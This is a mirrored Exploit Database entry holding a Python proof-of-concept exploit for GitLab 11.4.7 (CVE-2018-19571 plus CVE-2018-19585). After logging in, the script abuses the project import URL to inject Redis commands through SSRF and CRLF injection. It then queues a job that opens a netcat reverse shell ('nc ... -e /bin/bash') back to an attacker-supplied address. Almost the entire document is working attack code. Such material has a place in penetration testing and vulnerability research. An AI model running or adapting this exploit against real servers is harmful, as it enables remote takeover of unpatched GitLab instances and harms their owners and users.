GitLab 11.4.7 – RCE (Authenticated) (2)

Exploit Database
125 阅读

作者： Norbert Hofmann

日期： 2020-12-24
类别：
- webapps
平台：
- ruby
来源：https://www.exploit-db.com/exploits/49334/

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# Exploit Title: GitLab 11.4.7 RCE (POC)

# Date: 24th December 2020

# Exploit Author: Norbert Hofmann

# Exploit Modifications: Sam Redmond, Tam Lai Yin

# Original Author: Mohin Paramasivam

# Software Link: https://gitlab.com/

# Environment: GitLab 11.4.7, community edition

# CVE: CVE-2018-19571 + CVE-2018-19585

#!/usr/bin/python3

import requests

from bs4 import BeautifulSoup

import argparse

import random

parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE')

parser.add_argument('-u', help='GitLab Username/Email', required=True)

parser.add_argument('-p', help='Gitlab Password', required=True)

parser.add_argument('-g', help='Gitlab URL (without port)', required=True)

parser.add_argument('-l', help='reverse shell ip', required=True)

parser.add_argument('-P', help='reverse shell port', required=True)

args = parser.parse_args()

username = args.u

password = args.p

gitlab_url = args.g + ":5080"

local_ip = args.l

local_port = args.P

session = requests.Session()

# Get Authentication Token

r = session.get(gitlab_url + "/users/sign_in")

soup = BeautifulSoup(r.text, features="lxml")

token = soup.findAll('meta')[16].get("content")

print(f"[+] authenticity_token: {token}")

login_form = {

"authenticity_token": token,

"user[login]": username,

"user[password]": password,

"user[remember_me]": "0"

}

r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)

if r.status_code != 200:

exit(f"Login Failed:{r.text}")

# Create project

import_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git"

project_name = f'project{random.randrange(1, 10000)}'

project_url = f'{gitlab_url}/{username}'

print(f"[+] Creating project with random name: {project_name}")

form = """\nmulti

sadd resque:gitlab:queues system_hook_push

lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1608799993.1234567,\\"enqueued_at\\":1608799993.1234567}"

exec

exec\n"""

r = session.get(f"{gitlab_url}/projects/new")

soup = BeautifulSoup(r.text, features="lxml")

namespace_id = soup.find(

'input', {'name': 'project[namespace_id]'}).get('value')

project_token = soup.findAll('meta')[16].get("content")

project_token = project_token.replace("==", "%3D%3D")

project_token = project_token.replace("+", "%2B")

payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={import_url}{form}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"

cookies = {

'sidebar_collapsed': 'false',

'event_filter': 'all',

'hide_auto_devops_implicitly_enabled_banner_1': 'false',

'_gitlab_session': session.cookies['_gitlab_session'],

}

headers = {

'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language': 'en-US,en;q=0.5',

'Accept-Encoding': 'gzip, deflate',

'Referer': f'{gitlab_url}/projects',

'Content-Type': 'application/x-www-form-urlencoded',

'Content-Length': '398',

'Connection': 'close',

'Upgrade-Insecure-Requests': '1',

}

print("[+] Running Exploit")

r = session.post(

gitlab_url+'/projects', data=payload, cookies=cookies, headers=headers, verify=False)

if "The change you requested was rejected." in r.text:

exit('Exploit failed, check input params')

print('[+] Exploit completed successfully!')